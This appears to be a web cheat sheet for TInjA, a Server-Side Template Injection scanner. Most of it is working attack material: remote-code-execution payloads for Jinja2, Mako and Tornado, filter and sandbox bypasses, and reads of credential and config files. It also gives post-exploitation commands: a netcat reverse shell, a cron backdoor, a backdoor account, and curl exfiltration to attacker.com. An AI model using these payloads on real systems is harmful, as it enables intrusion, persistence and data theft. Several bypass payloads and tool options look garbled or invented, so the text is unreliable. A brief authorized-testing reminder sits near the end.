コンテンツにスキップ

TInjA

Overview

TInjA (Template Injection Analyzer) is a specialized tool for identifying and exploiting Server-Side Template Injection (SSTI) vulnerabilities in web applications. It tests various template engines including Jinja2, Mako, Tornado, Genshi, Cheetah, and Twig by injecting payloads and analyzing responses to determine template engine type and exploit paths.

SSTI vulnerabilities allow attackers to inject template syntax into server-side template processors, potentially leading to arbitrary code execution, information disclosure, and complete system compromise.

Installation

From Kali Linux Repository

sudo apt-get update
sudo apt-get install tinja

From Source

git clone https://github.com/Hackmanit/TInjA.git
cd TInjA
python3 -m pip install -r requirements.txt

Docker

docker run -it kalilinux/kali-rolling tinja --help

Python Package

pip3 install tinja

Basic Usage

CommandPurpose
tinja -url URLTest single URL for SSTI
tinja -u URL -p PARAMTest specific parameter
tinja -l FILETest URLs from file list
tinja -o OUTPUTSave results to file
tinja --engine ENGINETarget specific template engine
tinja --exploitGenerate exploitation payload

Command Options

Target Specification

# Single URL testing
tinja -url "http://target.com/page?name=test"

# Specific parameter
tinja -url "http://target.com/page?name=test" -p name

# Custom HTTP method
tinja -url "http://target.com/api" --method POST

# POST data testing
tinja -url "http://target.com/form" --data "user=test&message=test"

Advanced Options

# Custom headers
tinja -url "http://target.com" -H "Authorization: Bearer token"

# Proxy configuration
tinja -url "http://target.com" --proxy "http://127.0.0.1:8080"

# SSL verification disable
tinja -url "https://target.com" --insecure

# Custom timeout
tinja -url "http://target.com" --timeout 30

Template Engine Detection

Detection Methods

# Automatic engine detection
tinja -url "http://target.com/page?user=test"

# Output shows detected engine
# [+] Detected Template Engine: Jinja2
# [+] Vulnerability Type: SSTI
Template EngineCommon ParametersFile Location
Jinja2name, user, search, messageFlask, Django
Makotemplate, view, pagePyramid, Turbogears
Tornadoitem, id, messageTornado framework
Genshitemplate, data, contentTurboGears
Cheetahquery, template, contentOlder Python apps
Twigdata, template, pagePHP applications
Freemarkerobject, model, dataJava applications

Manual Engine Identification

# Test Jinja2-specific syntax
curl "http://target.com/page?user={{7*7}}"
# Jinja2 returns: 49

# Test Mako-specific syntax
curl "http://target.com/page?user=${7*7}"
# Mako returns: 49

# Test ERB (Ruby) syntax
curl "http://target.com/page?user=<%=7*7%>"
# ERB returns: 49

SSTI Payload Testing

Mathematical Expressions

# Basic arithmetic test
tinja -url "http://target.com/page?name={{7*7}}"

# Boolean logic test
tinja -url "http://target.com/page?name={{1==1}}"

# String concatenation test
tinja -url "http://target.com/page?name={{'hello'+'world'}}"

Blind SSTI Detection

# Time-based blind SSTI
tinja -url "http://target.com/page?name={{range(1000000)}}" --method GET

# String comparison blind test
tinja -url "http://target.com/page?name={%if 1==1%}A{%endif%}B"

# Output should show difference indicating template processing

Filter Bypass Techniques

# Underscore bypass
{{request.__class__}}

# Bracket notation bypass
{{self[request.args.key]}}

# Concatenation bypass
{{"__cl"+"ass__"}}

# Unicode bypass
{{"__class__"}}

# Hex bypass
{{"\x5f\x5fclass\x5f\x5f"}}

Code Execution Payloads

Jinja2 Exploitation

# Access object attributes
{{config}}

# File reading
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Command execution
{{cycler.__init__.__globals__['os'].popen('whoami').read()}}

# Alternative RCE
{{''.join(request.args.get('cmd')|list)}}

# Reverse shell
tinja -url "http://target.com/page?cmd=nc -e /bin/sh attacker.com 4444"

Mako Exploitation

# Expression injection
${os.popen('id').read()}

# Python code execution
<%
import os
os.system('whoami')
%>

# File access
${open('/etc/passwd').read()}

Tornado Exploitation

# Basic RCE
{%set cmd='id'%}{%set result=os.popen(cmd).read()%}

# Module import
{%import os%}${os.popen('whoami').read()}

Information Gathering

Extract Configuration Data

# Get config variables
tinja -url "http://target.com/page?name={{config}}" --exploit

# Access environment
tinja -url "http://target.com/page?name={{environ}}" --exploit

# List available globals
tinja -url "http://target.com/page?name={{globals()}}"

File Reading

# Read /etc/passwd
tinja -url "http://target.com/page?name={{open('/etc/passwd').read()}}"

# Read application files
tinja -url "http://target.com/page?name={{open('../../config.py').read()}}"

# Read environment files
tinja -url "http://target.com/page?name={{open('.env').read()}}"

Source Code Disclosure

# Read template source
tinja -url "http://target.com/page?name={{self.module.__loader__.get_source(None, 'app')}}"

# Read Python files
tinja -url "http://target.com/page?name={{open('../app.py').read()}}"

Exploitation Workflow

Step-by-Step Exploitation

# 1. Identify vulnerability
tinja -url "http://target.com/page?user=test"

# 2. Detect template engine
# Output indicates Jinja2

# 3. Test basic payload
curl "http://target.com/page?user={{7*7}}"

# 4. Generate RCE payload
tinja -url "http://target.com/page?user=PAYLOAD" --exploit

# 5. Execute payload
curl "http://target.com/page?user={{cycler.__init__.__globals__['os'].popen('id').read()}}"

# 6. Establish reverse shell
curl "http://target.com/page?user={{cycler.__init__.__globals__['os'].popen('nc -e /bin/sh 192.168.1.100 4444').read()}}"

Batch Testing from File

# Create URL list
cat > urls.txt << EOF
http://target.com/page?name=test
http://target.com/search?q=test
http://target.com/user?id=1
EOF

# Test all URLs
tinja -l urls.txt -o results.txt

# Review findings
cat results.txt

Output Analysis

Report Generation

# Save detailed report
tinja -url "http://target.com" -o report.txt

# JSON output format
tinja -url "http://target.com" -o report.json --format json

# HTML report
tinja -url "http://target.com" -o report.html --format html

Report Contents

# View discovered vulnerabilities
grep -i "vulnerable\|ssti" report.txt

# Extract payload
grep -i "payload" report.txt

# List affected parameters
grep -i "parameter" report.txt

Advanced Techniques

Bypassing Input Filters

Bypassing Quotes

# String comparison without quotes
{{7*7}}

# Using chr() function
{{chr(72)+chr(101)+chr(108)+chr(108)+chr(111)}}

# Using request.args
{{request.args.get('x')}}

Bypassing Blacklists

# Case manipulation
{{request|safe}}
{{REQUEST|safe}}

# Comment injection
{{request/*bypass*/}}

# Null byte injection
{{request\x00}}

# Unicode normalization
{{request}}

Concatenation Bypass

# Escaped concatenation
{{'__cla'+'ss__'}}

# Using format
{{'{}{}'.format('__class__')}}

# Using join
{{''.join(['__','class__'])}}

WAF Evasion

# Obfuscate payload
{{().__class__.__bases__[0].__subclasses__()}}

# Use alternative methods
{{self.__init__.__globals__}}

# Fragment injection
{{requ
est}}

# Newline injection
{{request
.method}}

Polyglot Payloads

# Works across multiple engines
{{7*7}}${7*7}<%= 7*7 %>

# Detects engine by response
tinja -url "http://target.com/page?name={{7*7}}" --engine auto

Post-Exploitation

Establish Persistence

# Create backdoor
tinja -url "http://target.com/page?name=PAYLOAD" --exploit

# Add cron job
{{os.popen('echo "* * * * * nc -e /bin/sh attacker.com 4444" | crontab -').read()}}

# Create user
{{os.popen('useradd -m -s /bin/bash backdoor').read()}}

Data Exfiltration

# Read sensitive files
tinja -url "http://target.com/page?name={{open('/var/www/config.php').read()}}"

# Exfiltrate to attacker server
{{os.popen('curl http://attacker.com?data=$(cat /etc/passwd|base64)').read()}}

# Encode output
{{os.popen('cat /etc/passwd | base64').read()}}

Defensive Bypass

Template Sandbox Escape

# Access restricted globals
{{().__class__.__bases__[0].__subclasses__()}}

# Import modules in restricted environment
{{__import__('os').popen('id').read()}}

# Use __builtins__
{{__builtins__['eval']('7*7')}}

Restricted Characters Bypass

# Avoid brackets
{{().__class__.__bases__.__getitem__(0)}}

# Use getattr
{{getattr(request, '__class__')}}

# Use globals
{{self.__init__.__globals__['__builtins__']}}

Mitigation Verification

Testing Fixes

# Verify input sanitization
tinja -url "http://target.com/page?name=<test>" -v

# Check output encoding
tinja -url "http://target.com/page?name={{7*7}}" -v

# Validate filter implementation
tinja -url "http://target.com/page?name={{__import__}}"

Common Parameters to Test

# URL parameters
?name=test
?user=test
?search=test
?q=test
?id=1
?page=test

# POST fields
username=test
email=test
message=test
title=test
content=test
description=test

# Headers
User-Agent: test
Referer: test
X-Custom-Header: test

Automation Scripts

Continuous Testing

#!/bin/bash
# tinja-scan.sh - Automated SSTI scanning

while read url; do
    echo "[*] Testing: $url"
    tinja -url "$url" -o "results_$(date +%s).txt"
done < urls.txt

Integration with Burp Suite

# Export Burp requests
# Use Burp to intercept requests
# Convert to tinja format for automated testing
tinja -l burp_export.txt -o burp_results.txt

Troubleshooting

Common Issues

IssueSolution
No detection on known vulnerable appTry different parameters, adjust timeout
False positivesVerify manually with browser, increase precision
Connection timeoutAdjust timeout value, check proxy settings
SSL errorsUse --insecure flag for self-signed certs
No outputCheck URL format, verify target is running

Debug Mode

# Verbose output
tinja -url "http://target.com" -v

# Show all requests
tinja -url "http://target.com" --debug

# Save traffic log
tinja -url "http://target.com" --log traffic.log
  1. Authorization Required: Only test systems you own or have explicit written permission to test
  2. Responsible Disclosure: Report findings to vendor/organization before public disclosure
  3. Compliance: Follow OWASP testing guidelines and legal requirements
  4. Documentation: Maintain detailed records of all testing activities
  5. Scope Limitation: Stay within defined testing scope and parameters

Resources

TInjA is essential for comprehensive web application security assessments, helping identify template injection vulnerabilities that can lead to complete system compromise.